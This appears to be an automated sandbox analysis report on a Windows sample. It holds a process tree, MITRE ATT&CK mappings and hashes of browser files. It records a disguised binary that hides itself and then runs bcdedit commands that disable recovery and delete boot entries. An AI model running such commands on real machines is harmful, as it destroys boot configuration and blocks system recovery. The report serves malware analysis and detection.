  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=fr --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7940,i,18272363085793260849,17558987700206701598,524288 --field-trial-handle=2180,i,16509195266936760346,5758596440932977336,262144 --variations-seed-version --mojo-platform-channel-handle=7916 /prefetch:14
  2⤵
  PID:5776
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=fr --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6760,i,10255740358645143904,14261348706590836018,524288 --field-trial-handle=2180,i,16509195266936760346,5758596440932977336,262144 --variations-seed-version --mojo-platform-channel-handle=6728 /prefetch:14
  2⤵
  PID:5704
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=fr --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7552,i,16671378854906776908,16984273058584023169,524288 --field-trial-handle=2180,i,16509195266936760346,5758596440932977336,262144 --variations-seed-version --mojo-platform-channel-handle=7592 /prefetch:14
  2⤵
  PID:5668
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=fr --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6576,i,17598563061354582641,12389203723843117409,524288 --field-trial-handle=2180,i,16509195266936760346,5758596440932977336,262144 --variations-seed-version --mojo-platform-channel-handle=6580 /prefetch:14
  2⤵
  PID:6120
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=fr --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6328,i,6604293904178018213,6617005147045440257,524288 --field-trial-handle=2180,i,16509195266936760346,5758596440932977336,262144 --variations-seed-version --mojo-platform-channel-handle=6356 /prefetch:14
  2⤵
  PID:6652
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=fr --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6384,i,2292771132330908098,14920031340429973713,524288 --field-trial-handle=2180,i,16509195266936760346,5758596440932977336,262144 --variations-seed-version --mojo-platform-channel-handle=8088 /prefetch:14
  2⤵
  PID:6660
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=fr --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6312,i,15613360907967341086,323103734666456039,524288 --field-trial-handle=2180,i,16509195266936760346,5758596440932977336,262144 --variations-seed-version --mojo-platform-channel-handle=6276 /prefetch:14
  2⤵
  PID:6668

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1568

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:3612

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:6100

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2224

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004E4 0x00000000000004C8
1⤵
PID:6264

C:\Windows\system32\SystemSettingsAdminFlows.exe
"C:\Windows\system32\SystemSettingsAdminFlows.exe" TroubleshootActivation
1⤵
PID:5228

C:\Windows\explorer.exe
explorer.exe ,"C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe"
1⤵
PID:6668

C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
1⤵
PID:2784
- C:\Windows\system32\attrib.exe
  attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe"
  2⤵
  - Views/modifies file attributes
  PID:6532
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  PID:3152
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3512
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:6232
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {default} /f
  2⤵
  PID:2456
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {default} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:6680
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {bootmgr} /f
  2⤵
  PID:6796
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {bootmgr} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3544
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {current} /f
  2⤵
  PID:920
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:6056
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {memdiag} /f
  2⤵
  PID:4680
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {memdiag} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1472
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} advancedoptions false
  2⤵
  PID:6484
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} advancedoptions false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2036
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} optionsedit false
  2⤵
  PID:2064
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} optionsedit false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3312

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:2460

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5600

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Indicator Removal

T1070

Clear Persistence

T1070.009

File Deletion

T1070.004

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 40573910fab125adf4933fb84617c5cf7cc13848869d9d4fb8be4581f6087ade
MD5 0d4f5dc1610db60a46903b48953f9713
SHA1 30bf2e7a2487cccb955f61d4e321da300791301d
SHA512 c4c81fa45556b8a67128d368d6465978fb0df21157252ee81a7da31774808383511beea77c7b0ea3673ad5b17de9e6413a7c188f4ac46dfe40e6163a4d92c9ef
TLSH
T1D3D0A7582E3664D5E774113908D586442BCC64860305256616D91C558CE14B244809C6
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 61ce9257e101bff76fb1ea5b0fb907a298524e15f6923847251627ec04e6c409
MD5 5c73a76ff4a895059c677cf0e29d230a
SHA1 3b39b8a98f10bb63c2be248988f23724f75d7256
SHA512 1a3c3d98ca32ec412c0000bc0e1599d35805f4f96c0f3199cfd560974d0acdff14d7144a92ba5c2e92a37e47ad064e0807c6deb68713385f237ce0771f43679b
TLSH
T1B4D0235C3F2614C1E7D015360C8AD7CD3FCC78C5529578B107DA2C518DD29A14444CD7
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 c1f1acbca20df575d780bfc6a0eed336443a25c146b92b1bf74d945967f56abc
MD5 b699d4a44d99e07752e1efdf96d4e710
SHA1 62f2464afdbc384d9fb6156420a3b44dd71dec6a
SHA512 57a4c9d01749e72ca207007d1ef5b0bdeceaf7c64dc66c9d517f23e715a2043a0c8e995a80aa2260c5c62d80cd6a45f89e2f0464c8ff6cd9898c141377f4c6d9
TLSH
T1F8D0235C3F2654C1E7D015360C99D7CD3FCC78C9529578B107DE2C518DD29A14484CD7
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 3b442494723fd224268df79958ea0f6d02b8bba5bea3b3ac773cd572188d3a54
MD5 744bc3e383e66c5e221c69d7866979a3
SHA1 a89cee038cab1b053cd20cf1ba1a2467efcfef52
SHA512 62751edb16ad3ba8ef9ff81ec4a923799479a4deb5a75300cbebc6ae373e5658010fe133cf354458f41695b960e04c278e50b65bb42bcb75fd101221aac3c409
TLSH
T1B4D02B643B0E7041D701003188128380116C50461073D20370F8004CDC8544053840C3
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 da6c5d254765c139d88192f3f87e3d379a910f8e52b353e7ac5ddf08b3a1c1e1
MD5 92ebaa360a8cb89cce73739366d6c2aa
SHA1 54f15e16201d7ea62a290d02deaa9c8de7711281
SHA512 c367b21abf536f170820cab99bc5dfe90a29c2a9a6843a258c59b6bccc5f76b38b3b445ed981e71abf0ba91dad8e9c9507735c111b9ef5a78c34203ff9c73eb4
TLSH
T174D02B643B0E7041DB01003188118380116C50461073D30370F8004CCC8648053840C3
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

f_00010c

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_00010c
Size 55KB
SHA256 52a37b3a78eb5b59df3bdb129b9115c6fed9bec6ca62b55ae56d8c2701de5972
MD5 fdf2600d905a0faa060d691e0212e1a7
SHA1 62550f0993a219e265ff9a0795a4d9f49b28748f
SHA512 7118d2ea3aafe3d77709842da20acbe3faaf4c6c92a50ab05ecd4986916bbb92fe297a1b00357572683b02c61762cdf31dc425f03221dd169803252db5f04f7f
SSDEEP 1536:HYDhrXLgUVTf98fcANMQnJULOK+z2N2Vr8KO:HYDhrbZTF8ffZaOzM2Vr8z
TLSH
T1804301FE4895FEB9B094C7938D7131E02A664022453CBB71774B13B76368E7682892DC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000112

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000112
Size 55KB
SHA256 c0b1c3c6995c24eabd1a6fcc4f00523e022b546cf1fa4fce6c30d04763244d1b
MD5 cfd886e1ca849a7f8e2600763f236d78
SHA1 c1fc2b10d20c529c01b465a1edc0ed2fe04f0bd5
SHA512 254e37e3650b2c87b524c96f517586b690094abf7c8e0539b050ecdc4c56c2593bedab7b1a830b827ddc19f1c3e05ff4096ebdf4cc969b5bc5fd33cb34e94fd8
SSDEEP 1536:WJG/KL/shmr0SyKV2i0Qz0j72A2+0G+gSRLBeFDP3:liL/8mV2i0ac6A25G+1LBehf
TLSH
T1444302EC6A22F9ADAB11E5E847349AC2F140D6DE34156293509EDB98200F24ECDCB75D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 10KB
SHA256 f53a0dcc1d317e9fd971128758daa0a5c4b03466469b6c6a16593aa2d8f6c9f9
MD5 1f4e9a9c2019a1d6bbcad5e0f98dc399
SHA1 8364887c734f006cfa697f7d2622a102c6bd81ed
SHA512 1d07512bbc295fd27337eef25ba6c048566aa75b500fb0e86925530ed9085dd14ad73f0292543fe4e597b1631040d66501309a3e6073849a7e3599e483da699b
SSDEEP 192:yx8XV549Qpt3oFrnjbQJBtlYvnkurAx0TqSvo5Qq2BCh7vj+6SuRA6iXVAvl4wGD:yx8XV29mt3KjbQJBtlYvnkurAxQqSw5y
TLSH
T1C932DE0AC4B2AE88DF653DB2E5D19D243E36B0951E276F0B1F88FC74758BB94464188E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index~RFe595f1e.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe595f1e.TMP
Size 2KB
SHA256 6d7d91a1c75c9b243432989a6851656c71487e5880a6790daaee79045fb0eee7
MD5 fc2b62b6a5a4d06e6d8c67815370afa9
SHA1 df7ed2404916fca7ec49810c88029fcd2c104379
SHA512 eebc2de26539f374afd06501397c448cec44494e219a97febff0b770664b9e87c38995db87c3d7487456a9b3eb219ddb85a87017547eca5246905b5d1578214a
TLSH
T138513F1CC2611790E3D53031A0F1FF723A7AF0B52917EF5761DC4DB2AA197615F22088
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dasherSettingSchema.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.106.1_0\dasherSettingSchema.json
Size 854B
SHA256 6c69ce0fe6fab14f1990a320d704fee362c175c00eb6c9224aa6f41108918ca6
MD5 4ec1df2da46182103d2ffc3b92d20ca5
SHA1 fb9d1ba3710cf31a87165317c6edc110e98994ce
SHA512 939d81e6a82b10ff73a35c931052d8d53d42d915e526665079eeb4820df4d70f1c6aebab70b59519a0014a48514833fefd687d5a3ed1b06482223a168292105d
TLSH
T1B1014C25C354799B04C7627ABCA95001E630818B027665707DDE4D7C6F2E8A700BF37E
MD5 SHA1 SHA512 TLSH

Submit Download

computed_hashes.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json
Size 429B
SHA256 b829b0df7e3f2391bfba70090eb4ce2ba6a978ccd665eebf1073849bdd4b8fb9
MD5 5d1d9020ccefd76ca661902e0c229087
SHA1 dcf2aa4a1c626ec7ffd9abd284d29b269d78fcb6
SHA512 5f6e72720e64a7ac19f191f0179992745d5136d41dcdc13c5c3c2e35a71eb227570bd47c7b376658ef670b75929abeebd8ef470d1e24b595a11d320ec1479e3c
TLSH
T10AE055170A1A50B79BB8DB90EE525CA2E8A0A6B1C50438D63E608234B68A11F738347D
MD5 SHA1 SHA512 TLSH

Submit Download

verified_contents.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\verified_contents.json
Size 1KB
SHA256 d23b2ba94ba22bbb681e6362ae5870acd8a3280fa9e7241b86a9e12982968947
MD5 738e757b92939b24cdbbd0efc2601315
SHA1 77058cbafa625aafbea867052136c11ad3332143
SHA512 dca3e12dd5a9f1802db6d11b009fce2b787e79b9f730094367c9f26d1d87af1ea072ff5b10888648fb1231dd83475cf45594bb0c9915b655ee363a3127a5ffc2
TLSH
T12B317466C8683D56267A63348E2D0602EB57C2BB0050640EB5AC558D4F7115FE242FAF
MD5 SHA1 SHA512 TLSH

Submit Download

Favicons

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Favicons
Size 28KB
SHA256 256b3bd9772e9ce7ba1f019ee3702c184444d30ceffe82ae9f347c755d4913e5
MD5 53f5c50ee701025263aaf0c138a15dc9
SHA1 5a6c51af6ea9c4b7a58080356c4fa28d822a1257
SHA512 d54e5a33551db1a5dc91a0e2c6f025c1f90110b338c12d90b3cc6d0d4797e4705721a27c216829461b464500e3021a74b4770fb02efe7099d66e8c20c903f1be
SSDEEP 96:xBCBQfD7pQGDamowtHE7rr0d7hUea/ik8vwiZaEZdtUtbfh:HCM3pbumNtjUea/yZfdtObf
TLSH
T154D24D676D797C02DB950DB952741A76CE33E108CFB6ED7C342910724CB42152835AFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

History

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History
Size 204KB
SHA256 53a06055e4276fae17a1868f00e6721d029933b5de4cdb62eea6f0315b58053b
MD5 c542ca297f28dcfeede4e92d27679fab
SHA1 2d19179deb900cc28dd344b3ed144bba80ab83e8
SHA512 f66b75416dddaf5da306233ffe2146587a8f9d4ce2a61f6eb88c0d76e4062816d38e6635fdc615cae3814e0d58e52391ae534f7db9c75f59920beaff166b7c4d
SSDEEP 384:yeX7Pea83uFBBQ1GkSFxrKdeW9VU7DNspUC:5FBBlpiUC
TLSH
T15C14C75F2E313702CEAC407579E655E75D2EB43ECB62BADAB4A000A18DE3612915C8FD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 107KB
SHA256 eb28a09ee08dbbbcb59c7daaa38b35c252bf916c01d3c01a4a1ace99d097c963
MD5 aa18b3ac5bea4f12630cd539f473b8f4
SHA1 ee20b406b95fad85e93ac9ff256bf5baed745db6
SHA512 3a9d175e0e2a95dd1aa8423a955b10866005f92c3d55647e9b745037a9a037338d9a4c3dc0b5728df0ac3413d1bf48267425dfdb784785c50edaa9ae28935090
SSDEEP 1536:wfEEMUHqdm31/ZGZqW3UUPDuVepBLU9vlZsC62UMPq:J8HG/Q3lUh
TLSH
T14CB36326D6A54C6B01F12264EC754383F325436F9282A82F3A7C5D5C2FBD93A6642F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.tiktok.com_0.indexeddb.leveldb\000003.log
Size 145KB
SHA256 f3eee3515146de8f1ae99e6d5f6736bde1d25d216fad90e7d1150e30a4f5f8fc
MD5 f01ffa87c634ac3e0801ef0ed0dd7aa0
SHA1 c3c1e76c75d8ad35778cf9be525a40332e3f8277
SHA512 b5d6b5548362e694b45fdcea43b32cb3fa19cac7e69e30d105daec997c03c243baf3ea3fb5bdab9715d04171c9ba5701cc3bbde56a1d0e8eb6004e6bc2966b45
SSDEEP 3072:o8Q+s3t2lf03o3bEywc2eFwTzj/a7xODjkCn5QJWVEU5iC5asW8T:sCEyi
TLSH
T178E3E97B5A528E6BCEBAC23589485BC5727B2E417C81C74FE8D6F378C07249706B2319
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.tiktok.com_0.indexeddb.leveldb\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.tiktok.com_0.indexeddb.leveldb\LOG
Size 351B
SHA256 3bb704df20218885283457ef9f8a72130c6318475087e7de404acbdfaef4aa67
MD5 a615f1724112d2a429ee0db408ba1ed0
SHA1 9e054d8b7694582e73cd4045b4c4d64dcbe2605e
SHA512 94da3c9686b3ea07cb3670df164c5145d573bddca88a904107f4d94f09612a4ad0c565190baa1272e9b8a4cc96e76eab1bc2b7eb2148a6ca2e906d99b96923b1
TLSH
T1FDE0D83CC4CDC22B752454DA2639BB0DDAE3A51EE78C7E460F12C8147843048986D2A5
MD5 SHA1 SHA512 TLSH

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.tiktok.com_0.indexeddb.leveldb\MANIFEST-000001
Size 23B
SHA256 720a78803b84cbcc8eb204d5cf8ea6ee2f693be0ab2124ddf2b81455de02a3ed
MD5 3fd11ff447c1ee23538dc4d9724427a3
SHA1 1335e6f71cc4e3cf7025233523b4760f8893e9c9
SHA512 10a3bd3813014eb6f8c2993182e1fa382d745372f8921519e1d25f70d76f08640e84cb8d0b554ccd329a6b4e6de6872328650fefa91f98c3c0cfc204899ee824
MD5 SHA1 SHA512

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log
Size 427KB
SHA256 3cf09e382bc42bfd485645581d1974d7e09dae1b46f63554d50ade567943c716
MD5 124d0571a8d944df0f70156a241aae06
SHA1 b1d52000880df4e7b148160e6b5d637247eab827
SHA512 2a4578e4dab7ea579f5e0791c07cefe309da8a7723750a60bcf37b25f374f127216e1638e1dd588c059930045e8d4a5247b9948909d0d77779a99e07a81f86a1
SSDEEP 6144:kYqlWEn71o3HkQesTGPxaydu+uYVYdng8mO:8WUo3HkQZGPxaydu+M
TLSH
T1FE942F59A7F9121AF3F36F4AA9FA15598D3ABCD26C38E54C01501E4E0872F80EDA1737
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG
Size 331B
SHA256 082c37e9a6f4d2b8a30e41a51feea9ec4acf3d2079adeb639500c73d8b1369ea
MD5 13fdba4ace0c17e96fc20440755ac2ca
SHA1 a0069f81a57c46b20b8562a04b3b673056d39606
SHA512 65a36c15e9536a0179d094cee85308c3ad65b53a34658808e3eedc8eb674c971ea4a05c8e767b5b9ed88b21a9d455a0e9921d20eec39b37d704dc12c1b993480
TLSH
T105E0D87085CDC929690820DB832D7708C3E0340AD6882A415F08D840B486014E3D59C1
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 7KB
SHA256 cff828ab40880272bb0d987764683026ab5842ee73fcfcfbfea5855288c505c3
MD5 116511270fd17c0f2b3802948707d968
SHA1 5be60fc62c7559ff32200f5ad74a332cd51bc4a3
SHA512 e0ae14bebee5ea4c45e99dc6f1832edfd2cb105001cc11cf14ccd9a474b508c23f2a2ed6ab90673cea0d335769bd472b76a17959de9c661b980f8cc796bafdeb
SSDEEP 192:D90fArn3vpa75c+vGjgkHj6YvHbEv4NzhSzp/sBnitkFOv5yZx:D90fArn3vpa75c+vGjgkHGYvHbEv4NzJ
TLSH
T113E1EDF783F9822DDA1195F0EA057E1BCF580521436C396A85E46F2BA7F2470E141B9F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 211B
SHA256 23e9d11c103d55fd0f4aec8151644bac57de3a3d9b377be3f4a751754892016a
MD5 2d851849b61499d174a01d93cf48be67
SHA1 5f996a6590b2d1f5b89235a4292dbe1ce351c764
SHA512 819e6c844ec60d88c33b94d56493fc301e09f6a32556e09eac00e1ea7c445cdbfdc6e4ada0b1f772855450c5da0eb0634af4a792053a6e43af7b4c4a33467f96
TLSH
T1DED023131311B0B5556C1DC1919AAC8FDB27107E5841D9E510E05C9D293547D750B140
MD5 SHA1 SHA512 TLSH

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 767cc752cf23eea58650c920641ce0e7fa914a39391f08946fec3227031f8498
MD5 86bb45c3f76973bde089575cd3332d04
SHA1 1fefb75eca96e7d4ce913634a139e28fa95e8f2e
SHA512 1a1a8514b4906f601d6c28a1f7ae3db48a314f0414d39d59414a3aeb44bfffd010f1b5e9928b61266715b618b17a98b3c2ef96224924f40f4416a1484274acbb
SSDEEP 384:zZOnH4m1W/fCskH2HUC4sy/b+Nj/5lKPylyCPy2:OH4m1W/f+Hz/b+95IPwzP9
TLSH
T14072C6926A2484778CC7DA19AE357F13DBF81062DD914E5CAAFCC51C04EE2FD261781B
